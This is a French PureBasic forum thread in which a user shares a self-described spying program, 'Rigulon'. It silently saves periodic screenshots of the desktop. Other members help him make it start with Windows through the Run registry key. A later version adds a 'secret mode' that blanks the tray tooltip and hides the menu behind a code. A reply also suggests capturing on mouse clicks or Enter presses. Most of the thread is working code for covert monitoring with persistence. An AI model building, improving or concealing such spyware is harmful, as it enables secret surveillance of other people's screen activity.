Page 1 sur 1

Spyer

Publié : dim. 14/nov./2010 17:47
par Parole De JOJO
un programe d'espionnage
le seul probleme est que je n'ais pas reussi a faire qu'il se lance au demarage

Code : Tout sélectionner

Procedure   StartWithWindows(state.b)
         Protected key.l = #HKEY_CURRENT_USER ;or #HKEY_LOCAL_MACHINE pour tout les utilisateur de l'ordi
         Protected Path.s = "Software\Microsoft\Windows\CurrentVersion\Run" ;ou RunOnce pour le lancer qu'une fois
         Protected Value.s = "rigulon.exe" ;mettre ici le nom de votre prg
Protected String.s = "C:\Mes Exes\"
         Protected CurKey.l
         If state =1 ; creer la clef
                 RegCreateKey_ (key,@Path,@CurKey)
                 RegSetValueEx_ (CurKey,@Value,0, #REG_SZ ,@String, Len (String))
         Else ; efface la clef
                 RegOpenKey_ (key,@Path,@CurKey)
                 RegDeleteValue_ (CurKey,@Value)
         EndIf
         RegCloseKey_ (CurKey)
EndProcedure
StartWithWindows(1)

Enumeration
  #MENU_ChangePath
  #MENU_OpenPath
  #MENU_1sec
  #MENU_5sec
  #MENU_10sec
  #MENU_30sec
  #MENU_60sec
  #MENU_90sec
  #MENU_120sec
  #MENU_300sec
  #MENU_600sec
  #MENU_Good
  #MENU_Medium
  #MENU_Low
  #MENU_Pause
  #MENU_About
  #MENU_Quit
  #MENU_DeletePath
EndEnumeration

Global pathpref.s="C:\Program files\Rigulon\"
CreateDirectory(pathpref)
OpenPreferences(pathpref+"prefs.yhe")
PreferenceGroup("info")
Global path.s=ReadPreferenceString("path","")
Global quality.f=ReadPreferenceFloat("quality",1.5)
Global seconds.l=ReadPreferenceLong("seconds",60)
ClosePreferences()
If path=""
  path="C:\Program files\Rigulon\ScreenShot\"
  CreateDirectory(path)
EndIf


Procedure ScreenShot(a)
  Repeat
    date.s=FormatDate("%yyyy-%mm-%dd",Date())
    hour.s=FormatDate("%hh-%ii-%ss",Date())
    CreateDirectory(path+date)
    FileName.s=Path+date+"\"+date+"  "+hour+".jpg"
    
    If CreateImage(0,GetSystemMetrics_(#SM_CXSCREEN),GetSystemMetrics_(#SM_CYSCREEN))
      DesktopWindow=GetDesktopWindow_()
      DC=GetDC_(DesktopWindow)
      StartDrawing=StartDrawing(ImageOutput(0))
       BitBlt_(StartDrawing,0,0,ImageWidth(0),ImageHeight(0),DC,0,0,#SRCCOPY)
      StopDrawing()
      ReleaseDC_(DesktopWindow,DC)
      ResizeImage(Im,ImageWidth(0)/quality,ImageHeight(0)/quality)
      UseJPEGImageEncoder()
      SaveImage(0,FileName,#PB_ImagePlugin_JPEG,10)
      FreeImage(0)
    EndIf
    Delay(1000*seconds)
  ForEver
EndProcedure



CreatePopupMenu(0)
      OpenSubMenu("Path = "+path)
      MenuItem(#MENU_ChangePath, "Change Path")
      MenuItem(#MENU_OpenPath, "Open Directory")
      MenuItem(#MENU_DeletePath, "Delete ScrennShots")
      CloseSubMenu()
      OpenSubMenu("Seconds = "+Str(seconds))
      MenuItem(#MENU_1sec, "1 Second")
      MenuItem(#MENU_5sec, "5 Seconds")
      MenuItem(#MENU_10sec, "10 Seconds")
      MenuItem(#MENU_30sec, "30 Seconds")
      MenuBar()
      MenuItem(#MENU_60sec, "1 Minut")
      MenuItem(#MENU_90sec, "1.5 Minut")
      MenuItem(#MENU_120sec, "2 Minuts")
      MenuItem(#MENU_300sec, "5 Minuts")
      MenuItem(#MENU_600sec, "10 Minuts")
      CloseSubMenu()
      OpenSubMenu("Quality = Medium")
      MenuItem(#MENU_Good, "Good")
      MenuItem(#MENU_Medium, "Medium")
      MenuItem(#MENU_Low, "Low")
      CloseSubMenu()
      MenuItem(#MENU_Pause, "Pause")
      MenuItem(#MENU_About, "About")
      MenuItem(#MENU_Quit, "Quit")

OpenWindow(0, 10, 10, 10, 10, "Rigulon", #PB_Window_Invisible)
AddSysTrayIcon(1, WindowID(0),CatchImage(1, ?Icone1))
SysTrayIconToolTip(1, "** Rigulon **")
CreateThread(@ScreenShot(), 154)

Repeat
  
  Event=WaitWindowEvent()

  If Event = #PB_Event_SysTray
    Select EventType()
      Case #PB_EventType_LeftClick 
      DisplayPopupMenu(0, WindowID(0))
      EndSelect
  EndIf
   
  If Event = #PB_Event_Menu
    Select EventMenu()
      Case #MENU_ChangePath:path=PathRequester("",path):SetMenuItemText(0,0,path)
      Case #MENU_OpenPath:RunProgram(path)
        
      Case #MENU_1sec:seconds=1
      Case #MENU_5sec:seconds=5
      Case #MENU_10sec:seconds=10
      Case #MENU_30sec:seconds=30
      Case #MENU_60sec:seconds=60
      Case #MENU_90sec:seconds=90
      Case #MENU_120sec:seconds=120
      Case #MENU_300sec:seconds=300
      Case #MENU_600sec:seconds=600
        
        
      Case #MENU_Quit:quit=1
      EndSelect
      If EventMenu()>1 And EventMenu()<14
        SetMenuItemState(0,EventMenu(),1)
        SetMenuItemState(0,old,0)
        SetMenuTitleText(0,2,"Time Between Shots ="+Str(seconds))
        old=EventMenu()
      EndIf
      
  EndIf
Until Quit=1


OpenPreferences(pathpref+"prefs.yhe")
PreferenceGroup("info")
WritePreferenceString("path",path)
WritePreferenceFloat("quality",quality)
WritePreferenceLong("seconds",seconds)
ClosePreferences()


DataSection
Icone1:
IncludeBinary "G:\Rigulon\icone.ico"
EndDataSection

Re: Spyer

Publié : dim. 14/nov./2010 20:41
par Backup
Parole De JOJO a écrit :un programme d'espionnage
le seul probleme est que je n'ais pas reussi a faire qu'il se lance au demarage

heu ! tu as quoi comme systeme d'exploitation .?
:)

ps : comme nom de prg tu met
"rigulon.exe"

essaye "rigulon"

vire moi ce ".exe" ;)

Re: Spyer

Publié : dim. 14/nov./2010 20:53
par Jacobus
Essayes comme ça pour créer ta RegKey

Code : Tout sélectionner

If RegCreateKeyEx_(#HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", 0, 0, #REG_OPTION_NON_VOLATILE, #KEY_ALL_ACCESS, 0, @NewKey, @KeyInfo) = #ERROR_SUCCESS  
            StringBuffer$ = ProgramFilename() ; renvoie le chemin complet de l'exe et c'est très paratique
            RegSetValueEx_(NewKey, #PROGRAMNAME, 0, #REG_SZ,  StringBuffer$, Len(StringBuffer$)+1)   ; change #PROGRAMNAME par le nom du programme, dans ton cas 'Regulon' sans le exe
            RegCloseKey_(NewKey)  
          EndIf

Re: Spyer

Publié : lun. 15/nov./2010 10:32
par Parole De JOJO
merci je vais essayer
de plus je voudrais que le programme prenne des scrennshot seulement quand quelque chose a change dans l'ecran et je ne sais pas comment le faire, et comparer les images ca ne marche pas car l'heure change tout le temps

Re: Spyer

Publié : lun. 15/nov./2010 10:40
par Ar-S
essaye peut-être de prendre un screenshot 0.5s après un clique gauche... ou après un "return" :wink:

Re: Spyer

Publié : lun. 15/nov./2010 10:41
par Parole De JOJO
jai pas compris

Re: Spyer

Publié : lun. 15/nov./2010 10:43
par Ar-S
ba en tache de fond tu surveilles les clics de souris et/ou le clavier.
Lorsque l'utilisateur presse "Enter" ou/et fait un clic de souris, ton logiciel prend un screenshot.

Re: Spyer

Publié : lun. 15/nov./2010 10:45
par Parole De JOJO
ah ok
il y a une fonc pb pour ca?

Re: Spyer

Publié : lun. 15/nov./2010 10:50
par Parole De JOJO
en plus si je vois un film par exemple ca prendra pas de screenshot et je veux que ca prenne

Re: Spyer

Publié : lun. 15/nov./2010 10:52
par Ar-S
heu ba si tu veux prendre des screenshot de tout, ça va pas être facile de faire du trie..
A ce moment tu fais un screenshot toutes les x secondes mais tu vas te retrouver avec trop d'images.
Il faut que tu définisses exactement ce que tu veux que ton prog surveille.

Re: Spyer

Publié : lun. 15/nov./2010 16:55
par Parole De JOJO
bon pour le registery j'ai tout essaye et ca ne marche pas
est ce que quelqun est pret a me le faire par teamviewer?

Re: Spyer

Publié : lun. 15/nov./2010 17:07
par Ar-S
Tu es sous quel OS déjà ?

Re: Spyer

Publié : lun. 15/nov./2010 17:07
par Parole De JOJO
windows xp/7

Re: Spyer

Publié : lun. 15/nov./2010 17:18
par Parole De JOJO
j'ai arrenge mon prog, voici la nouvelle version
je n'ai pas reussi a arrete le thread et le reprendre plus tard
par contre grace a vos aides, j'ai reussi a le lancer avec windows

je pense que c'est un super programme, un de mes premiers, et j'attends vos avis

Code : Tout sélectionner

Enumeration
#MENU_ChangePath:#MENU_OpenPath
#MENU_1sec:#MENU_5sec:#MENU_10sec:#MENU_30sec
#MENU_60sec:#MENU_90sec:#MENU_120sec:#MENU_300sec:#MENU_600sec
#MENU_Good:#MENU_Medium:#MENU_Low
#MENU_Lan:#MENU_About:#MENU_Quit
#MENU_AutoRun:#MENU_CancelAutoRun:#MENU_Secret
EndEnumeration

Global pathpref.s="C:\Program files\Rigulon\"
CreateDirectory(pathpref)

OpenPreferences(pathpref+"prefs.yhe")
  PreferenceGroup("info")
  Global path.s=ReadPreferenceString("path","")
  Global quality.f=ReadPreferenceFloat("quality",1.5)
  Global seconds.l=ReadPreferenceLong("seconds",60)
  Global lan.l=ReadPreferenceLong("lan",1)
  Global secret.l=ReadPreferenceLong("secret",0)
ClosePreferences()

If path=""
  path="C:\Program files\Rigulon\ScreenShot\"
  CreateDirectory(path)
EndIf

Procedure StartWithWindows(state.b,nam.s)
  Protected key.l = #HKEY_CURRENT_USER ;or #HKEY_LOCAL_MACHINE
  Protected Path.s = "Software\Microsoft\Windows\CurrentVersion\Run"
  Protected Value.s = nam 
  Protected String.s = ProgramFilename()
  Protected CurKey.l
  If state =1
    RegCreateKey_ (key,@Path,@CurKey)
    RegSetValueEx_ (CurKey,@Value,0, #REG_SZ ,@String, Len (String))
  Else
    RegOpenKey_ (key,@Path,@CurKey)
    RegDeleteValue_ (CurKey,@Value)
  EndIf
  RegCloseKey_ (CurKey)
EndProcedure

Procedure ScreenShot(a)
  Repeat
    date.s=FormatDate("%yyyy-%mm-%dd",Date())
    hour.s=FormatDate("%hh-%ii-%ss",Date())
    CreateDirectory(path.s+date)
    FileName.s=Path+date+"\"+date+"  "+hour+".jpg"
    
    If CreateImage(0,GetSystemMetrics_(#SM_CXSCREEN),GetSystemMetrics_(#SM_CYSCREEN))
      DesktopWindow=GetDesktopWindow_()
      DC=GetDC_(DesktopWindow)
      StartDrawing=StartDrawing(ImageOutput(0))
        BitBlt_(StartDrawing,0,0,ImageWidth(0),ImageHeight(0),DC,0,0,#SRCCOPY)
      StopDrawing()
      ReleaseDC_(DesktopWindow,DC)
      ResizeImage(Im,ImageWidth(0)/quality,ImageHeight(0)/quality)
      UseJPEGImageEncoder()
      SaveImage(0,FileName,#PB_ImagePlugin_JPEG,7)
      FreeImage(0)
    EndIf
    Delay(1000*seconds)
  ForEver
EndProcedure

Dim sec.l(9)
sec(1)=1:sec(2)=5:sec(3)=10:sec(4)=30:sec(5)=60:sec(6)=90:sec(7)=120:sec(8)=300:sec(9)=600
Global Dim l.s(40,1)
l(1,1)="Path":l(4,1)="Change Path":l(5,1)="Open Directory":l(27,1)="Time Between Shots"
l(28,1)=" Seconds":l(6,1)="1 Second":l(7,1)="5 Seconds":l(8,1)="10 Seconds":l(9,1)="30 Seconds"
l(10,1)="1 Minut":l(11,1)="1.5 Minuts":l(12,1)="2 Minuts":l(13,1)="5 Minuts":l(14,1)="10 Minuts"
l(15,1)= "Quality":l(16,1)="Good":l(17,1)="Medium":l(18,1)="Low":l(19,1)="Francais":l(20,1)="About"
l(21,1)="Quit":l(22,1)="** Rigulon **":l(25,1)="Rigulon":l(26,1)="Programed by JOJO"
l(29,1)="Run With Windows":l(30,1)="Apply":l(31,1)="Cancel":l(32,1)="Secret Mode"
l(34,1)="The program will now be in secret mode. To come back to the normal mode, double-clik on the program icon and type 224 in the window"
l(35,1)="Please enter a password"

Procedure.s t(x):ProcedureReturn l(x,lan):EndProcedure
Procedure lan()
  SetMenuTitleText(0,0,t(1)+" = "+path)
  SetMenuTitleText(0,1,t(27)+" ="+Str(seconds)+t(28))
  SetMenuTitleText(0,2,t(15)+" = "+t(quality*2+14))
  SetMenuTitleText(0,3,t(29))
  SysTrayIconToolTip(1, t(22))
  For k=0 To 10
    SetMenuItemText(0,k+#MENU_ChangePath,t(k+4))
  Next
  For k=0 To 5
    SetMenuItemText(0,k+#MENU_Good,t(k+16))
  Next
  SetMenuItemText(0,#MENU_AutoRun,t(30))
  SetMenuItemText(0,#MENU_CancelAutoRun,t(31))
  SetMenuItemText(0,#MENU_Secret,t(32))
EndProcedure

CreatePopupMenu(0)
  MenuTitle("")
    MenuItem(#MENU_ChangePath, "")
    MenuItem(#MENU_OpenPath, "")
  CloseSubMenu()
  MenuTitle("")
    MenuItem(#MENU_1sec, "")
    MenuItem(#MENU_5sec, "")
    MenuItem(#MENU_10sec, "")
    MenuItem(#MENU_30sec, "")
    MenuBar()
    MenuItem(#MENU_60sec, "")
    MenuItem(#MENU_90sec, "")
    MenuItem(#MENU_120sec, "")
    MenuItem(#MENU_300sec, "")
    MenuItem(#MENU_600sec, "")
  CloseSubMenu()
  MenuTitle("")
    MenuItem(#MENU_Good, "")
    MenuItem(#MENU_Medium, "")
    MenuItem(#MENU_Low, "")
  CloseSubMenu()
  MenuTitle("")
  MenuItem(#MENU_AutoRun, "")
  MenuItem(#MENU_CancelAutoRun, "")
  CloseSubMenu()
  MenuItem(#MENU_Secret, "")
  MenuItem(#MENU_Lan, "")
  MenuItem(#MENU_About, "")
  MenuItem(#MENU_Quit, "")
OpenWindow(0, 10, 10, 10, 10, "Rigulon", #PB_Window_Invisible)
AddSysTrayIcon(1, WindowID(0),CatchImage(1, ?Icone1))
SysTrayIconToolTip(1, t(22))
lan()
thread=CreateThread(@ScreenShot(), 154)

Repeat
  Event=WaitWindowEvent()
  If Event = #PB_Event_SysTray And EventType()=#PB_EventType_LeftClick And secret=0
    DisplayPopupMenu(0,WindowID(0))
  ElseIf Event = #PB_Event_SysTray And EventType()=#PB_EventType_RightDoubleClick And secret=1
    code=Val(InputRequester(t(35),t(36),""))
      If code=224
        secret=0
        SysTrayIconToolTip(1, t(22))
        OpenPreferences(pathpref+"prefs.yhe")
        PreferenceGroup("info")
        WritePreferenceLong("secret",secret)
        ClosePreferences()
      EndIf
  EndIf
  If Event = #PB_Event_Menu
    Select EventMenu()
      Case #MENU_ChangePath
        path=PathRequester("",path):SetMenuTitleText(0,0,t(1)+" = "+path)
        OpenPreferences(pathpref+"prefs.yhe")
        PreferenceGroup("info")
        WritePreferenceString("path",path)
        ClosePreferences()
      Case #MENU_OpenPath:RunProgram(path)
      Case #MENU_1sec To #MENU_1sec+8
        seconds=sec(EventMenu()-#MENU_1sec+1)
        SetMenuTitleText(0,1,t(27)+" = "+Str(seconds)+t(28))
        OpenPreferences(pathpref+"prefs.yhe")
        PreferenceGroup("info")
        WritePreferenceLong("seconds",seconds)
        ClosePreferences()
      Case #MENU_Good To #MENU_Low
        quality=(EventMenu()-#MENU_Good+2)/2
        SetMenuTitleText(0,2,t(15)+" = "+t(quality*2+14))
        OpenPreferences(pathpref+"prefs.yhe")
        PreferenceGroup("info")
        WritePreferenceFloat("quality",quality)
        ClosePreferences()
      Case #MENU_Lan
        lan=3-lan:lan()
        OpenPreferences(pathpref+"prefs.yhe")
        PreferenceGroup("info")
        WritePreferenceLong("lan",lan)
        ClosePreferences()
      Case #MENU_About:MessageRequester(t(25),t(26)+Chr(10)+Chr(10)+t(36)+Chr(10)+t(37))
      Case #MENU_Quit:quit=1
      Case #MENU_AutoRun:StartWithWindows(1,"Rigulon")
      Case #MENU_CancelAutoRun:StartWithWindows(2,"Rigulon")
      Case #MENU_Secret
        secret=1:MessageRequester(t(32),t(34))
        SysTrayIconToolTip(1,"")
        OpenPreferences(pathpref+"prefs.yhe")
        PreferenceGroup("info")
        WritePreferenceLong("secret",secret)
        ClosePreferences()
    EndSelect
  EndIf
Until Quit=1

DataSection:Icone1:IncludeBinary "tools.ico":EndDataSection